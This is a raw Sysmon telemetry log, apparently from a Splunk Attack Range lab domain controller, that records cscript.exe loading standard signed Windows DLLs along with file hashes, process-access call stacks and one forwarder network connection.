(rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000050026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000050025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\urlmon.dll11.00.14393.4530 (rs1_release.210705-0736)OLE32 Extensions for Win32Internet ExplorerMicrosoft CorporationUrlMon.dllMD5=B63DBDFEC215CF37259DC4A88ADBD0E7,SHA256=67B02F3DE0AF36E76C2D259CE7833EDA4FE33D935538E8A4C1E7E82130870FC1,IMPHASH=D30D879B129DBE4925A85E9DD136188BtrueMicrosoft WindowsValid 734700x800000000000000050024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.887{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\xmllite.dll10.0.14393.3143 (rs1_release.190725-1725)Microsoft XmlLite LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationXmlLite.dllMD5=64E301CCFADF34810ADA8DE9DBC7720F,SHA256=6EAE1E0E610793C7DF2B27795553F377D2C4126CF74D8EE4A84DE3C3150871F8,IMPHASH=B53F82B33CA6ABD6251152A46E5FF78CtrueMicrosoft WindowsValid 734700x800000000000000050023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.872{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\AppxSip.dll10.0.14393.4169 (rs1_release.210107-1130)Appx Subject Interface PackageMicrosoft® Windows® Operating SystemMicrosoft CorporationAppxSip.dllMD5=33AEB645167296EFE22E1BB64B63CBFC,SHA256=6E2B948F3CD7EEC6D9A9A864476F074FB5876E397916FF81A39B23976489AB52,IMPHASH=B062C097D0B3B0DCCA3ECC898B231E28trueMicrosoft WindowsValid 734700x800000000000000050022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wshext.dll5.812.10240.16384Microsoft ® Shell Extension for Windows Script HostMicrosoft ® Windows Script HostMicrosoft Corporationwshext.dllMD5=BA425FEBA35E20778ADB8FAF7268D8A0,SHA256=3A2F8057B4312BE9389CB86C8C3FA8BA3A590E3CE811AB163D77159DB095AA41,IMPHASH=EE821B7DB352A29DF6636AEB059E4519trueMicrosoft WindowsValid 23542300x800000000000000050021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.872{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67CEE23C589F687DB4C1E994CAA6A180,SHA256=401D28113676B36BD828512DB2C10FD8F38F9ABA6FCD0A20BA44FF38048BF374,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\msisip.dll5.0.14393.4530 (rs1_release.210705-0736)MSI Signature SIP ProviderWindows Installer - UnicodeMicrosoft CorporationMSISIP.DLLMD5=A579FD92E60D1CE05E20BF7569D579E8,SHA256=CD9DF3851153E3770E343CE224E6F969B9C5A466BF8C1036242DCBB5CE0F7986,IMPHASH=9990E8AE89385588C988664086E258E7trueMicrosoft WindowsValid 734700x800000000000000050019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.872{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000050018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.872{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000050017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.872{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000050016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.872{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000050015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000050014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000050013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\coml2.dll10.0.14393.2608 (rs1_release.181024-1742)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOML2.DLLMD5=F51CCB7A95B83C1327390BF672AFD328,SHA256=850E50B525EF51374B880146E26464D10A8B1DAE1E0307F7B27DC7322824F2BF,IMPHASH=B74E4EE6BBCE405BE73914241C9AF2C8trueMicrosoft WindowsValid 734700x800000000000000050012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000050011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wldp.dll10.0.14393.3143 (rs1_release.190725-1725)Windows Lockdown PolicyMicrosoft® Windows® Operating SystemMicrosoft Corporationwldp.dllMD5=51A0208B106B4392AC4B3174B27A39EF,SHA256=EA9955976994C44DC091A07C69E9C863A4D5A960900019D3C4136BDFD1F885D4,IMPHASH=334E5331674424695F9872596E2677C7trueMicrosoft WindowsValid 734700x800000000000000050010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000050009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000050008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000050007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000050006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000050005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 354300x800000000000000016335Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:20.510{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50286-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 734700x800000000000000050004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\amsi.dll10.0.14393.4169 (rs1_release.210107-1130)Anti-Malware Scan InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationamsi.dllMD5=89C79675F7FEDEB6373C9D2045F7B7C5,SHA256=5B40293CF56D44377A91BF68CF2113F523B61185F02DEEAB621BE51F0ADA6131,IMPHASH=6FEE5278940E0EA644D3641165D77874trueMicrosoft WindowsValid 734700x800000000000000050003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000050002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\jscript.dll5.812.10240.16384Microsoft ® JScriptMicrosoft ® JScriptMicrosoft Corporationjscript.dllMD5=017AA3E55F15439E32C6F461E5686CCD,SHA256=8117D34017F6F90BC9DC68E3F79346E62E389AFE9E154FF0FCB99FB921845486,IMPHASH=66F780999859D4145C172C62A9E9E6ABtrueMicrosoft WindowsValid 734700x800000000000000050001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 734700x800000000000000050000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.856{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000049999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 734700x800000000000000049998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\sxs.dll10.0.14393.4169 (rs1_release.210107-1130)Fusion 2.5Microsoft® Windows® Operating SystemMicrosoft CorporationSXS.DLLMD5=54FB18CA661D074CBB60D5A58D40C8D3,SHA256=A2BD6160222A216F8A6830C1273662F8AE88F53D2CE6DA5893FF70D146A0A2B0,IMPHASH=FED414075FF3F23F21C898B1860393B4trueMicrosoft WindowsValid 10341000x800000000000000049997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-65B2-613B-1600-00000000F001}12961984C:\Windows\system32\svchost.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000049993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000049991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.825{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\cscript.exe5.812.10240.16384Microsoft ® Console Based Script HostMicrosoft ® Windows Script HostMicrosoft Corporationcscript.exeMD5=8552F94CFD39A4C307BCD1BD88D41604,SHA256=6216383428EAB3292C5590C70D24B33A7D84FBF1C463E331C40F052E6EA356FE,IMPHASH=77838A7D26CC1C7050C41CF6165BAD0EtrueMicrosoft WindowsValid 734700x800000000000000049990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000049989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.840{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 